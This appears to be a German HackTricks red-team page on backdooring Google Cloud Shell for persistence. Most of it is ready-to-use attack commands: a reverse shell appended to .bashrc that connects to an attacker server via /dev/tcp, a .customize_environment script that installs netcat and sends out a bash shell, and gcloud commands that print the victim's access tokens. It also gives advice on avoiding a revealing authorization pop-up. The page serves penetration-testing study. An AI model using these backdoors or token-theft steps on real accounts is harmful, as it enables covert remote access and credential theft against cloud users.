GCP - Cloud Shell Persistenz

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Shell

Für weitere Informationen siehe:

GCP - Cloud Shell Enum

Persistente Backdoor

Google Cloud Shell bietet dir Zugriff auf die Kommandozeile deiner Cloud-Ressourcen direkt im Browser, ohne dass Kosten anfallen.

Du kannst auf Google Cloud Shell über die Web-Konsole oder durch Ausführen von gcloud cloud-shell ssh zugreifen.

Diese Konsole bietet Angreifern einige interessante Möglichkeiten:

  1. Jeder Google-Nutzer mit Zugriff auf Google Cloud hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Service Accounts können das ebenfalls, sogar wenn sie Owners der Organisation sind).
  2. Diese Instanz wird ihr Home-Verzeichnis für mindestens 120 Tage behalten, wenn keine Aktivität stattfindet.
  3. Eine Organisation hat keine Möglichkeit, die Aktivität dieser Instanz zu überwachen.

Das bedeutet im Wesentlichen, dass ein Angreifer eine Backdoor im Home-Verzeichnis des Nutzers platzieren kann und solange der Nutzer mindestens alle 120days eine Verbindung zur GC Shell herstellt, die Backdoor erhalten bleibt und der Angreifer jedes Mal eine Shell erhält, wenn sie ausgeführt wird, einfach indem er:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Im Home-Verzeichnis gibt es eine weitere Datei namens .customize_environment, die, falls sie existiert, bei jedem Zugriff des Benutzers auf die cloud shell ausgeführt wird (wie bei der vorherigen Technik). Fügen Sie einfach die vorherige backdoor oder eine wie die folgende ein, um persistence aufrechtzuerhalten, solange der Benutzer die cloud shell “häufig” verwendet:

Backdoor in .customize_environment erstellen ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Es ist wichtig zu beachten, dass beim ersten Mal, wenn eine Aktion ausgeführt wird, die Authentifizierung erfordert, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, kann das Misstrauen erregen und die verwendete persistence method potenziell kompromittieren.

Dies ist das Pop-up, das beim Ausführen von gcloud projects list aus der Cloud Shell (als Angreifer) in der Browsersitzung des Benutzers angezeigt wird:

Wenn der Benutzer die Cloud Shell jedoch aktiv genutzt hat, erscheint das Pop-up nicht und Sie können tokens des Benutzers mit:

Access tokens aus Cloud Shell abrufen ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Wie die SSH-Verbindung hergestellt wird

Im Wesentlichen werden diese 3 API-Aufrufe verwendet:

Weitere Informationen findest du unter https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks